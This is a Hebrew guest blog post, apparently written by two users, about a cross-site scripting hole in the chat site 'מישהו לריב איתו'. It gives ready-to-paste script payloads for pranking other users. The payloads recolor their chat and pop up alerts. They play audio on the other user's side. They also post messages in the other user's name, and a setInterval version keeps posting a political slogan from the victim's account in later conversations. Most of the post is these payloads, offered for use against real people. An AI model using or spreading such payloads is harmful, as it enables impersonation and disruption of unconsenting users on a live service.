קוסם בדיפווב דרגה 8 מיד: שאל את בן ואיציק כיצד (פוסט אורחת)

רשות הדיבור לבן מאירי ולאיציק פישר:

טוב, עם כל הכבוד לשטויות וההטרלות של “מישהו לריב איתו”, אתם מפספסים את הדבר הכיפי ביותר שם – פרצת אבטחה שתיתן לכם להזריק מה שתרצו לצד השני, לפחות עד שיעשו טיפה אבטחת קלט שם (מן הסתם לא כל מה שתרצו, אבל מספיק שטויות כיפיות).

למשל, אם תכתבו 
<script> document.getElementById(“chatbox”).style.color = “red”; </script>
תצבעו את הטקסט באדום 
או למשל <img src=”http://khaosok-smiley.com/wp-content/gallery/miscellaneous/green_smiley.png” alt=”Smiley face” width=”42″ height=”42″>
תכניסו תמונה של סמיילי חמוד
ואם למשל תכניסו את הדבר הבא:
<script>alert(“שלום צדיק, יש לך חמש דקות להניח תפילין?”);</script>
יפתח בצד השני (ואצלכם) הפופאפ שבתמונה.


זו פרצה די גדולה באבטחה, אבל בתור קוסמים דרגה 8 בדיפווב זה לא מפריע לנו יותר מדי. בזכות כוחות עג”ג היינו עושים את זה גם בלי הפרצה.

עידכון #1 – בן ממשיך ומספר:

עכשיו הכיף עלה שלב. אפשר להפעיל גם סאונד בצד השני. התחלתי משטויות של קטעי סאונד כמו “העמוד ישמיד את עצמו תוך 3 2 1” אחר כך המשכתי לשימוש באתר http://vozme.com/index.php?lang=en שמייצר קבצי קול מטקסט, אבל הוא רובוטי ובעייתי ליצור דיבור עברי מטקסט אנגלי, אז כעת אני פשוט מפעיל לאנשים ברקע את Heat of the moment של אסיה (לינק לשיר בפורמט mp3) ואני והצד השני דנים על השלום על רקע שירי רוק טובים.

כאן לא יספיק שיר ביוטיוב, וצריך לינק ישיר לקובץ mp3 שנמצא ברשת. מצאתם כזה? הכניסו את הקוד הבא לצ’ט: <embed height=”0″ width=”0″ src=”myMp3Url.mp3″>

(כאשר במקום myMp3Url.mp3 כמובן יש להכניס את כתובת האינטרנט של קובץ ה mp3 שמצאתם.)

עידכון #2 – בן מגזים ממש:
טוב, ברגע שהצלחתי לכתוב קוד שנותן לי את היכולת ב”מישהו לריב איתו” בשם הצד השני זה הפסיק להיות כיף.
אבל אז זה חזר להיות כיף כשהבנתי שאני יכול לגרום לכך שאחרי שהוא יתנתק מהשיחה איתי זה ימשיך להקליד בשמו שטויות, גם כשהוא מדבר עם אחרים.

הקלדה בשם הצד השני:

<script type=”text/javascript”> document.getElementById(‘m’).value = ‘new value’; var elem = document.getElementById(‘send_button’); if (typeof elem.onclick == “function”) { elem.onclick.apply(elem); }if (typeof elem.click == “function”) { elem.click.apply(elem); }</script>

(יש להחליף את new value בטקסט שאותו רוצים להכניס)

ואם אתם רוצים עם אינטרוול שיחזור על עצמו ויתקע את הצד השני גם בשיחות הבאות:

<script type=”text/javascript”> setInterval(function(){ document.getElementById(‘m’).value = ‘ביבי המלך’; var elem = document.getElementById(‘send_button’); if (typeof elem.onclick == “function”) { elem.onclick.apply(elem); }if (typeof elem.click == “function”) { elem.click.apply(elem); }},3000); </script>

כאשר צריך להחליף את הביטוי “ביבי המלך” במה שזה לא יהיה שאתם רוצים שהצד השני יגיד מעכשיו לכל בני שיחו.

להדגמה חיה שכוללת השתלטותו של יצחק רבין ז”ל על הצ’ט הקליקו כאן.